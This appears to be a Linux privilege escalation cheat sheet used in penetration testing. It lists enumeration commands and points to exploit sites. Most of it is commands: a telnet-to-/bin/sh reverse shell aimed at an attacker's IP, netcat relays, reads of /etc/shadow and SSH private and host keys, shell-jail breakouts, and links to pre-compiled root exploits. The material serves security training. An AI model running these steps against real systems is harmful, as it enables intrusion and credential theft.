Enumeration is the key.

Linux privilege escalation is all about:

Collect - Enumeration, more enumeration and some more enumeration. Process - Sort through data, analyse and prioritisation. Search - Know what to search for and where to find the exploit code. Adapt - Customize the exploit, so it fits. Not every exploit work for every system "out of the box". Try - Get ready for (lots of) trial and error.

Operating System What's the distribution type? What version?

cat /etc/issue
      cat /etc/*-release
      cat /etc/lsb-release
      cat /etc/redhat-release
    

What's the Kernel version? Is it 64-bit?

cat /proc/version
      uname -a
      uname -mrs
      rpm -q kernel
      dmesg | grep Linux
      ls /boot | grep vmlinuz-
    

What can be learnt from the environmental variables?

cat /etc/profile
      cat /etc/bashrc
      cat ~/.bash_profile
      cat ~/.bashrc
      cat ~/.bash_logout
      env
      set
    

Is there a printer? lpstat -a

Applications & Services What services are running? Which service has which user privilege?

ps aux
      ps -ef
      top
      cat /etc/service
    

Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!

ps aux | grep root
      ps -ef | grep root
    

What applications are installed? What version are they? Are they currently running?

ls -alh /usr/bin/
      ls -alh /sbin/
      dpkg -l
      rpm -qa
      ls -alh /var/cache/apt/archivesO
      ls -alh /var/cache/yum/
    

Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?

cat /etc/syslog.conf
      cat /etc/chttp.conf
      cat /etc/lighttpd.conf
      cat /etc/cups/cupsd.conf
      cat /etc/inetd.conf
      cat /etc/apache2/apache2.conf
      cat /etc/my.conf
      cat /etc/httpd/conf/httpd.conf
      cat /opt/lampp/etc/httpd.conf
      ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
    

What jobs are scheduled?

crontab -l
      ls -alh /var/spool/cron
      ls -al /etc/ | grep cron
      ls -al /etc/cron*
      cat /etc/cron*
      cat /etc/at.allow
      cat /etc/at.deny
      cat /etc/cron.allow
      cat /etc/cron.deny
      cat /etc/crontab
      cat /etc/anacrontab
      cat /var/spool/cron/crontabs/root
    

Any plain text usernames and/or passwords?

grep -i user [filename]
      grep -i pass [filename]
      grep -C 5 "password" [filename]
      find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla
    

Communications & Networking What NIC(s) does the system have? Is it connected to another network?

/sbin/ifconfig -a
      cat /etc/network/interfaces
      cat /etc/sysconfig/network
    

What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?

cat /etc/resolv.conf
      cat /etc/sysconfig/network
      cat /etc/networks
      iptables -L
      hostname
      dnsdomainname
    

What other users & hosts are communicating with the system?

lsof -i
      lsof -i :80
      grep 80 /etc/services
      netstat -antup
      netstat -antpx
      netstat -tulpn
      chkconfig --list
      chkconfig --list | grep 3:on
      last
      w
    

Whats cached? IP and/or MAC addresses

arp -e
      route
      /sbin/route -nee
    

Is packet sniffing possible? What can be seen? Listen to live traffic

tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
      tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
    

Have you got a shell? Can you interact with the system? http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

nc -lvp 4444    # Attacker. Input (Commands)
      nc -lvp 4445    # Attacker. Ouput (Results)
      telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!
    

Is port forwarding possible? Redirect and interact with traffic from another view rinetd http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

fpipe

FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
      FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
    
ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
      ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
      ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port
    
mknod backpipe p ; nc -l -p [remote port] < backpipe  | nc [local IP] [local port] >backpipe
      mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    # Port Relay
        mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)
          mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)


            Is tunnelling possible? Send commands locally, remotely
            ssh -D 127.0.0.1:9050 -N [username]@[ip]
            proxychains ifconfig


            Confidential Information & Users
            Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?
            id
            who
            w
            last
            cat /etc/passwd | cut -d:    # List of users
            grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
            awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
            cat /etc/sudoers
            sudo -l


            What sensitive files can be found?
            cat /etc/passwd
            cat /etc/group
            cat /etc/shadow
            ls -alh /var/mail/


            Anything "interesting" in the home directorie(s)? If it's possible to access
            ls -ahlR /root/
            ls -ahlR /home/


            Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords
            cat /var/apache2/config.inc
            cat /var/lib/mysql/mysql/user.MYD
            cat /root/anaconda-ks.cfg


            What has the user being doing? Is there any password in plain text? What have they been edting?
            cat ~/.bash_history
            cat ~/.nano_history
            cat ~/.atftp_history
            cat ~/.mysql_history
            cat ~/.php_history


            What user information can be found?
            cat ~/.bashrc
            cat ~/.profile
            cat /var/mail/root
            cat /var/spool/mail/root


            Can private-key information be found?
            cat ~/.ssh/authorized_keys
            cat ~/.ssh/identity.pub
            cat ~/.ssh/identity
            cat ~/.ssh/id_rsa.pub
            cat ~/.ssh/id_rsa
            cat ~/.ssh/id_dsa.pub
            cat ~/.ssh/id_dsa
            cat /etc/ssh/ssh_config
            cat /etc/ssh/sshd_config
            cat /etc/ssh/ssh_host_dsa_key.pub
            cat /etc/ssh/ssh_host_dsa_key
            cat /etc/ssh/ssh_host_rsa_key.pub
            cat /etc/ssh/ssh_host_rsa_key
            cat /etc/ssh/ssh_host_key.pub
            cat /etc/ssh/ssh_host_key


            File Systems
            Which configuration files can be written in /etc/? Able to reconfigure a service?
            ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
            ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null        # Owner
            ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
            ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null          # Other

            find /etc/ -readable -type f 2>/dev/null                         # Anyone
            find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone


            What can be found in /var/ ?
            ls -alh /var/log
            ls -alh /var/mail
            ls -alh /var/spool
            ls -alh /var/spool/lpd
            ls -alh /var/lib/pgsql
            ls -alh /var/lib/mysql
            cat /var/lib/dhcp3/dhclient.leases


            Any settings/files (hidden) on website? Any settings file with database information?
            ls -alhR /var/www/
            ls -alhR /srv/www/htdocs/
            ls -alhR /usr/local/www/apache22/data/
            ls -alhR /opt/lampp/htdocs/
            ls -alhR /var/www/html/


            Is there anything in the log file(s) (Could help with "Local File Includes"!)
            # http://www.thegeekstuff.com/2011/08/linux-var-log-files/
            cat /etc/httpd/logs/access_log
            cat /etc/httpd/logs/access.log
            cat /etc/httpd/logs/error_log
            cat /etc/httpd/logs/error.log
            cat /var/log/apache2/access_log
            cat /var/log/apache2/access.log
            cat /var/log/apache2/error_log
            cat /var/log/apache2/error.log
            cat /var/log/apache/access_log
            cat /var/log/apache/access.log
            cat /var/log/auth.log
            cat /var/log/chttp.log
            cat /var/log/cups/error_log
            cat /var/log/dpkg.log
            cat /var/log/faillog
            cat /var/log/httpd/access_log
            cat /var/log/httpd/access.log
            cat /var/log/httpd/error_log
            cat /var/log/httpd/error.log
            cat /var/log/lastlog
            cat /var/log/lighttpd/access.log
            cat /var/log/lighttpd/error.log
            cat /var/log/lighttpd/lighttpd.access.log
            cat /var/log/lighttpd/lighttpd.error.log
            cat /var/log/messages
            cat /var/log/secure
            cat /var/log/syslog
            cat /var/log/wtmp
            cat /var/log/xferlog
            cat /var/log/yum.log
            cat /var/run/utmp
            cat /var/webmin/miniserv.log
            cat /var/www/logs/access_log
            cat /var/www/logs/access.log
            ls -alh /var/lib/dhcp3/
            ls -alh /var/log/postgresql/
            ls -alh /var/log/proftpd/
            ls -alh /var/log/samba/
            # auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp


            If commands are limited, you break out of the "jail" shell?
            python -c 'import pty;pty.spawn("/bin/bash")'
            echo os.system('/bin/bash')
            /bin/sh -i


            How are file-systems mounted?
            mount
            df -h


            Are there any unmounted file-systems?
            cat /etc/fstab


            What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID
            find / -perm -1000 -type d 2>/dev/null    # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
            find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the  group, not the user who started it.
            find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the  owner, not the user who started it.

            find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
            for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

            # find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
            find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null


            Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm
            find / -writable -type d 2>/dev/null        # world-writeable folders
            find / -perm -222 -type d 2>/dev/null      # world-writeable folders
            find / -perm -o+w -type d 2>/dev/null    # world-writeable folders

            find / -perm -o+x -type d 2>/dev/null    # world-executable folders

            find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null   # world-writeable & executable folders


            Any "problem" files? Word-writeable, "nobody" files
            find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
            find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files


            Preparation & Finding Exploit Code
            What development tools/languages are installed/supported?
            find / -name perl*
            find / -name python*
            find / -name gcc*
            find / -name cc


            How can files be uploaded?
            find / -name wget
            find / -name nc*
            find / -name netcat*
            find / -name tftp*
            find / -name ftp


            Finding exploit code
            http://www.exploit-db.com
            http://1337day.com
            http://www.securiteam.com
            http://www.securityfocus.com
            http://www.exploitsearch.net
            http://metasploit.com/modules/
            http://securityreason.com
            http://seclists.org/fulldisclosure/
            http://www.google.com


            Finding more information regarding the exploit
            http://www.cvedetails.com
            http://packetstormsecurity.org/files/cve/[CVE]
            http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
            http://www.vulnview.com/cve-details.php?cvename=[CVE]


            (Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk
            http://tarantula.by.ru/localroot/
            http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/